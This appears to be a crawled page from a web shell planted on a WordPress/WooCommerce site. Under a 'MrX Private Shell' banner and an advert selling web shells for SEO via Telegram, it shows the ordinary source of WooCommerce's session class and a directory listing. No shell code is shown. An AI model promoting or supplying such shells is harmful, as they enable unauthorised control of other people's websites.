__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Handle data for the current customers session
*
* @class WC_Session
* @version 2.0.0
* @package WooCommerce\Abstracts
*/
declare(strict_types=1);
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* WC_Session
*/
abstract class WC_Session {
/**
* Customer ID.
*
* @var ?string $_customer_id Customer ID.
*/
protected $_customer_id; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Session Data.
*
* @var array $_data Data array.
*/
protected $_data = array(); // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Dirty when the session needs saving.
*
* @var bool $_dirty When something changes
*/
protected $_dirty = false; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Init hooks and session data. Extended by child classes.
*
* @since 3.3.0
*/
public function init() {}
/**
* Cleanup session data. Extended by child classes.
*/
public function cleanup_sessions() {}
/**
* Magic get method.
*
* @param string $key Key to get.
* @return mixed
*/
public function __get( $key ) {
return $this->get( $key );
}
/**
* Magic set method.
*
* @param string $key Key to set.
* @param mixed $value Value to set.
*/
public function __set( $key, $value ) {
$this->set( $key, $value );
}
/**
* Magic isset method.
*
* @param string $key Key to check.
* @return bool
*/
public function __isset( $key ) {
return isset( $this->_data[ sanitize_key( $key ) ] );
}
/**
* Magic unset method.
*
* @param string $key Key to unset.
*/
public function __unset( $key ) {
$key = sanitize_key( $key );
if ( isset( $this->_data[ $key ] ) ) {
unset( $this->_data[ $key ] );
$this->_dirty = true;
}
}
/**
* Get a session variable.
*
* @param string $key Key to get.
* @param mixed $default_value used if the session variable isn't set.
* @return mixed value of session variable
*/
public function get( $key, $default_value = null ) {
$key = sanitize_key( $key );
return isset( $this->_data[ $key ] ) ? maybe_unserialize( $this->_data[ $key ] ) : $default_value;
}
/**
* Set a session variable.
*
* @param string $key Key to set.
* @param mixed $value Value to set.
*/
public function set( $key, $value ) {
if ( null === $value ) {
$this->__unset( $key );
return;
}
$key = sanitize_key( $key );
$serialized_original_value = $this->_data[ $key ] ?? null;
$serialized_value = maybe_serialize( $value );
if ( $serialized_original_value === $serialized_value || maybe_unserialize( $serialized_original_value ) === $value ) {
return;
}
$this->_dirty = true;
$this->_data[ $key ] = $serialized_value;
}
/**
* Get customer ID. If the session is not initialized, returns an empty string.
*
* @return string
*/
public function get_customer_id() {
return $this->_customer_id ?? '';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-wc-address-provider.php | File | 648 B | 0664 |
|
| abstract-wc-data.php | File | 24.94 KB | 0664 |
|
| abstract-wc-deprecated-hooks.php | File | 3.11 KB | 0664 |
|
| abstract-wc-integration.php | File | 1.84 KB | 0664 |
|
| abstract-wc-log-handler.php | File | 2.5 KB | 0664 |
|
| abstract-wc-object-query.php | File | 1.94 KB | 0664 |
|
| abstract-wc-order.php | File | 80.76 KB | 0664 |
|
| abstract-wc-payment-gateway.php | File | 17.68 KB | 0664 |
|
| abstract-wc-payment-token.php | File | 5.67 KB | 0664 |
|
| abstract-wc-privacy.php | File | 3.85 KB | 0664 |
|
| abstract-wc-product.php | File | 68.37 KB | 0664 |
|
| abstract-wc-session.php | File | 2.9 KB | 0664 |
|
| abstract-wc-settings-api.php | File | 31.74 KB | 0664 |
|
| abstract-wc-shipping-method.php | File | 16.49 KB | 0664 |
|
| abstract-wc-widget.php | File | 12.17 KB | 0664 |
|
| class-wc-background-process.php | File | 4.87 KB | 0664 |
|